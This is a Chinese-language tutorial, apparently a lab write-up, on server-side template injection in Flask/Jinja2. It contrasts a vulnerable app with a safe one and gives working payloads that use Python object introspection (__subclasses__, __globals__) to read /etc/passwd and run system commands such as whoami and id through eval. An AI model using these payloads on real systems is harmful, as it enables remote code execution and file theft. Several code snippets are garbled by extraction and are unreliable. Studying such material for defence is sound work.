Flask(Jinja2)服务端模板注⼊漏洞(SSTI)
flask
Flask 是⼀个 web 框架。也就是说 Flask 为你提供⼯具,库和技术来允许你构建⼀个 web 应⽤程序。这个 wdb 应⽤程序可以使⼀些 web 页⾯、博客、wiki、基于 web 的⽇历应⽤或商业⽹站。
Flask 属于微框架(micro-framework)这⼀类别,微架构通常是很⼩的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全⽅⾯的bug,缺点是,你不得不⾃⼰做更多的⼯作,或通过添加插件增加⾃⼰的依赖列表。Flask 的依赖如下:
Werkzeug ⼀个 WSGI ⼯具包
jinja2 模板引擎
Flask简单易学,下⾯是Flask版的hello world(hello.py):
from flask import Flask
app = Flask(__name__)
@ute("/")
def hello():
return "Hello World!"
if __name__ == "__main__":
app.run()
安装flask即可运⾏了:
$ pip install Flask
$ python hello.py
* Running on localhost:5000/
*flask默认端⼝是5000
Jinja 2
Jinja 2是⼀种⾯向Python的现代和设计友好的模板语⾔,它是以Django的模板为模型的
Jinja2 是 Flask 框架的⼀部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
Jinja2 模板同样⽀持控制语句,像在 {%…%} 块中
{# This is jinja code
spring framework rce漏洞复现# 控制结构
{% for file in filenames %}
# 取值
{{ file }}
{% endfor %}
#}
Demo
from jinja2 import Template
t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')
der()
漏洞原理
先进⼊容器看⼀下web服务的代码
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@ute("/")
def index():
name = ('name', 'guest')
t = Template("Hello " + name)
der()
if __name__ == "__main__":
app.run()
看到Template("Hello " +name),Template()完全可控,那么就可以直接写⼊jinja2的模板语⾔,如
当然发送这种情况不能由jinja2背锅,这完全是开发⼈员的编码不当,若我修改如下
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@ute("/safe")
def safe():
name = ('name', 'guest')
t = Template("Hello {{n}}")
der(n=name)
if __name__ == "__main__":
app.run()
就不存在模板注⼊
Jinja2 的模板中执⾏ Python 代码
在jinja2中是可以直接访问python的⼀些对象及其⽅法的,如
字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数
那么如何在 Jinja2 的模板中执⾏ Python 代码呢?如官⽅的说法是需要在模板环境中注册函数才能在模板中进⾏调⽤,例如想要在模板中直接调⽤内置模块os,即需要在模板环境中对其注册
那么,如何在未注册OS模块的情况下在模板中调⽤popen()函数执⾏系统命令呢?前⾯已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调⽤对应变量类型下的⽅法,⽤到常见的 Python 沙盒环境逃逸⽅法
利⽤ Python 特性
__bases__
以元组返回⼀个类直接所继承的类
__mro__
以元组返回继承关系链
__class__
返回对象所属的类
__globals__
以dict返回函数所在模块命名空间中的所有变量
__subclasses__()
以列表返回类的⼦类
_builtin_
内建函数,python中可以直接运⾏⼀些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的⽅法是dir(__builtins__)
ps:在py3中__builtin__被换成了builtin
__builtin__ 和 __builtins__之间是什么关系呢?
1. 在主模块main中,__builtins__是对内建模块__builtin__本⾝的引⽤,即__builtins__完全等价于__builtin__,⼆者完全是⼀个东西,不分彼此。
2. ⾮主模块main中,__builtins__仅是对__builtin__.__dict__的引⽤,⽽⾮__builtin__本⾝
⽤file对象读取⽂件
不能像字符串对象,列表对象那样直接引⽤(''[]),那如何拿到file对象呢?就⽤上⾯给的属性和⽅法,如
for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('').readlines()
该代码从列表对象获取其类,再取基类(object),再取object的所有⼦类,从⼦类中寻file类,如果到就使⽤其构造⽅法创建对象后再⽤readlines读取⽂件内容
⽤jinja2语法就是
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{"find!"}}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}
在本机测试没有问题,但是在这个doker容器⾥不知道为什么不见file类
emmm,经测试发现在python3中并没有file类,所以上述读取⽂件的⽅法只适⽤于python2
那么就有必要到python2/3通⽤的⽅法,就直接eval,有了这个还有什么不能做
寻__builtins__得到eval
for c in ().__class__.__bases__[0].__subclasses__():
try:
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass
到了⼀个python2/3都有__builtins__的类_IterationGuard
于是python2/3通⽤的执⾏任意代码
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
⽤jinja的语法即为(执⾏命令使⽤os.popen('whoami').read()才有执⾏结果的回显)
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}
我本机上存在中⽂编码的问题,所以命令执⾏结果带中⽂的话会出错,所以就⽤echo l3yx展⽰下执⾏命令的效果
直接从globals中寻eval
原理和上⾯⼤同⼩异,vulhub的⽂档中⽤的就是这种payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
参考:
(膜 Orz)
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论